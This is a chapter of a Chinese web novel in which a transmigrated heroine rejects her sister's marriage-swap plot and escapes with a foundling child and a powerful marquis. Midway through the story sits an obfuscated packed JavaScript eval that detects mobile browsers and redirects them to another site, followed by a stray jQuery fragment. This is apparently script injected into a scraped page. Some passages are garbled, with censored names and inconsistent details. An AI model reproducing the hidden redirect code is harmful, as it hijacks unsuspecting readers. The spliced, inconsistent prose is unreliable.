从今往后,她就是盛春朝,她要在这个陌生的世界里,好好活下去,护好昭昭,不辜负这突如其来的新生。


    就在这时,门外传来轻轻的敲门声,紧接着是一个温柔的女声:“小姐,您醒了吗?该起身用早膳了。”


    盛春朝深吸一口气,压下心中的波澜,看向身侧依旧熟睡的昭昭,轻声应道:“进来吧。”


    门被推开,一名穿着青色比甲、梳着双丫髻的小丫鬟端着食盘走了进来,看到盛春朝醒着,脸上露出欣喜的神色:“小姐您可算醒了,您都睡了一天一夜了,老夫人都快担心坏了。”


    小丫鬟的声音不大,却还是惊动了身侧的昭昭。


    昭昭揉了揉眼睛,迷迷糊糊地睁开,看到盛春朝,立刻露出依赖的神情,软糯地喊了一声:“娘亲……”


    原主也叫盛春朝,是盛家五小姐,自幼性子软糯,身边带着个一岁多的女童昭昭。


    昭昭是原主去年春游时,在城外荒庙旁捡到的弃婴,原主心生怜悯便偷偷收养下来,对外只称是远房亲戚寄养的孩子,此事被盛家严密隐瞒,只对外宣称五小姐偶感风寒,闭门静养方便照料孩子。


    而她的大房姐姐盛□□,正是重生归来。


    上辈子,盛□□嫁给了齐王赵珩,没成想新婚当日,赵珩便意外身亡,她成了望门寡,被视为耻辱,磋磨半生,最后在冷院里凄凉死去。


    重生回来,盛□□记得原主被安排的婚事对象,那个住在破庙里的穷书生沈砚,竟是未来会高中状元,官至相位的栋梁之才。


    于是她动了歪心思,想借着姐妹情深,与原主换亲。


    至于丫鬟口中的路边的男人,盛春朝心头一跳,一段模糊的记忆碎片涌上心头。


    月色下,男子玄衣染血,昏迷前紧紧攥着她的手腕。


    原主一晚上未归,救下萧彻,只是萧彻伤好离开后,两人便再无交集。


    萧彻。


    盛春朝瞳孔微缩。


    这个名字在原主记忆里模糊不清,可在她接收的世界信息中,这分明是如今权倾朝野、手握重兵的镇北侯,是大魏王朝最令人忌惮的枭雄。


    传闻他杀伐果断,冷酷无情,常年驻守北疆,最近才因平定叛乱回京复命。


    原主虽救过他,却从未敢将此事声张,更没想着真的去找他求助。


    盛□□的换亲阴谋,不仅是为了避开短命的齐王,更是想抢占原主的好姻缘,将原主推入火坑。


    更重要的是,盛□□知晓原主身边有昭昭,认定带着个拖油瓶的原主,就算嫁去王府也难有好日子,更不会碍着自己的前程。


    还是将昭昭抓了,逼盛春朝去死。


    身侧的昭昭揉着惺忪的睡眼,小奶音软软地响起,小身子还下意识往盛春朝身边蹭了蹭。


    一岁多的小家伙刚睡醒,眼神还有些懵懂,小手紧紧抓着盛春朝的衣袖不放。


    盛春朝轻轻按住昭昭的肩膀,低声道:“昭昭乖,再躺一会儿,娘去去就回。”


    她小心翼翼地下床,走到门边。


    等到换好妆容到接客厅的时候,一个穿着一身月白色绣玉兰花长裙的女子正在喝茶,身姿婀娜,面容姣好,正是盛□□。


    盛□□身后跟着的丫鬟端着一个食盒,她脸上带着温柔的笑意:“五妹妹,姐姐来看你了,还特意给你炖了燕窝粥,也给昭昭带了些软糯的糕点。”


    盛春朝刻意模仿着原主软糯的语气,轻声道:“姐姐怎么来了?”


    盛□□走进房间,目光在她脸上扫过,眼神闪过一丝不易察觉的嫌恶,随即又换上温柔的笑容:“看妹妹最近气色不好,特意炖了燕窝给你补补,也给昭昭带了些糕点。对了,有件事姐姐想跟你商量一下。”


    她挥了挥手,让丫鬟们都退出去,房间里只剩下她们姐妹二人。


    盛□□拉着盛春朝的手,语重心长地说:“妹妹,你也知道,姐姐与齐王殿下的婚事已定,可姐姐近日总觉得心绪不宁,怕是与齐王殿下缘分浅薄。而你与沈公子的婚事,姐姐看了八字,也是不合。”


    盛春朝心中冷笑,面上却露出困惑的神情:“姐姐这话是什么意思?”


    “姐姐是想。”盛□□压低声音,眼中闪过一丝急切,“不如我们姐妹换亲?姐姐替你嫁给沈公子,你嫁给齐王殿下。齐王殿下身份尊贵,你嫁过去就是王妃,以后荣华富贵享用不尽,总比跟着一个穷书生受苦,还得拉扯个孩子强。”


    “而且。”她补充道,“姐姐知道你身子弱,沈公子家境贫寒,怕是难以好好照顾你。姐姐嫁过去,定会帮衬你,你看如何?”


    盛春朝看着她虚伪的笑容,心中一片冰凉。


    上辈子盛□□被磋磨半生,重生后不想着靠自己改变命运,反而想牺牲妹妹的幸福来成全自己。


    盛□□在后院,贵妃还曾让她追求自己的幸福。可是她却偷偷爱上了一个骗子,导致大魏提前崩裂。


    此刻外界算是乱世,可大魏还算安居乐业。


    更何况,盛春朝身边还带着一岁多的昭昭,能不能带去齐王府还是个问题。


    若是真嫁给齐王,昭昭一个远房亲戚寄养的孩子,在王府必定受尽委屈。


    她不动声色地抽回自己的手,轻轻摇了摇头:“姐姐,婚姻大事,父母之命,媒妁之言,岂能随意更改?妹妹不敢违背父母的安排。”


    盛□□脸上的笑容僵了一下,语气瞬间冷了几分:“二妹妹,你可别不知好歹!姐姐这是在为你着想!齐王殿下身份尊贵,沈砚不过是个穷书生,你带着个孩子跟着他,能有什么好日子过?”


    “姐姐若是真为我着想,就不会提出这样的要求了。”盛春朝抬眸,眼神清澈,“姐姐觉得沈公子贫寒,可妹妹觉得,人品比身份更重要。沈公子饱读诗书,温文尔雅,妹妹相信他不会亏待我。”


    盛□□没想到一向软糯的妹妹竟然敢反驳自己,心中顿时升起一股怒火。


    她冷冷地盯着盛春朝:“好,好得很!既然你不识抬举,那就别怪姐姐不客气!”


    说完,盛□□转身就走,房门被她砰地一声甩上,震得窗户都微微发颤。


    盛春朝站在原地,盛□□不会善罢甘休,一定会想其他办法逼迫她换亲。


    而她现在带着一岁多的昭昭,根本没有时间与盛□□周旋,昭昭的安危更是刻不容缓。


    唯一的办法,就是逃。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907107|185954||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    逃离开盛家,逃离开盛□□的阴谋,去找那个曾被她救下的男人萧彻。


    哦也不用找。


    就在今夜,萧彻就会来问,要不要跟他走。


    原主是拒绝了,萧彻便报答在姓沈的身上。


    虽然萧彻是个冷酷无情的枭雄,但他毕竟受了原主的救命之恩。


    只要靠着这份恩情,她和一岁多的昭昭,才能有真正的安全。


    她回到床边,看着熟睡的昭昭,小家伙眉头还微微蹙着,小手攥成了小拳头。


    盛春朝轻轻在她额头上印下一个吻,指尖传来温热的触感。


    然后她开始翻找原主的衣物和钱财,除了自己的几件常用衣物,还特意找了好几套昭昭的小衣裳,把原主攒下的碎银、首饰都塞进一个小包裹里。


    就在这时,窗外传来一阵轻微的响动。


    盛春朝心中一紧,握紧了手中的包裹,警惕地看向窗外。


    一道黑影悄无声息地落在窗前,月光下,男子玄衣加身,眉眼深邃,正是她记忆中那个染血的男子萧彻。


    萧彻的目光落在盛春朝身上。


    他轻声开口,声音低沉而磁性:“你愿不愿意随我离开。”


    “什么身份?”盛春朝开口。


    “你想如何?”萧彻饶有兴趣。


    盛春朝直截了当:“救命之恩,当以身相许,不知侯爷可敢?”


    “还好,她是我要护着的人,”盛春朝毫不犹豫地说,“要带我走,就得带上她。我嫁你为妻,你护我二人周全,这是我的条件。”


    她知道自己的要求有些过分,萧彻身为镇北侯,要什么样的女子没有,未必会愿意为了一份旧恩,娶一个来历不明还带着个孩子的女子。


    但她没有退路,只能赌一把,赌萧彻的重诺。


    萧彻沉默了片刻,月光下,他的神色晦暗难辨。


    盛春朝的心提到了嗓子眼,紧紧盯着他的表情,连呼吸都放轻了。


    过了约莫一炷香的时间,萧彻才缓缓开口,语气恢复了一贯的沉稳:“可以。但我丑话说在前头,我萧彻的妻子,不能给我惹麻烦,更不能背叛我。至于她。”


    他指了指昭昭,“我可以护她长大,但你要确保她不会成为你的软肋,更不会成为我的隐患。”


    “我答应你。”盛春朝立刻应下,悬着的心终于落了地。


    萧彻见她答应得干脆,点了点头:“现在就走,夜长梦多。”


    “你可有要告别的人?”萧彻问。


    盛春朝摇头。


    盛春朝这辈子依旧是父母缘浅,母亲生她难产,父亲再娶之后也有新的儿女,对她不怎么亲近。


    继母不亏待她也没怎么亲近她。


    至于路引这些,她相信萧彻会解决。


    萧彻上前一步,自然地接过盛春朝手中的包裹,又看向床上的昭昭,语气缓和了几分,“把她抱起来吧,我带你从后门走,避开府里的人。”


    盛春朝应声上前,小心翼翼地将昭昭抱在怀里。


    小家伙被惊动了,迷迷糊糊地睁开眼睛,看到是盛春朝,又往她怀里蹭了蹭,小奶音含糊地喊了声“阿娘”,便又闭上了眼睛。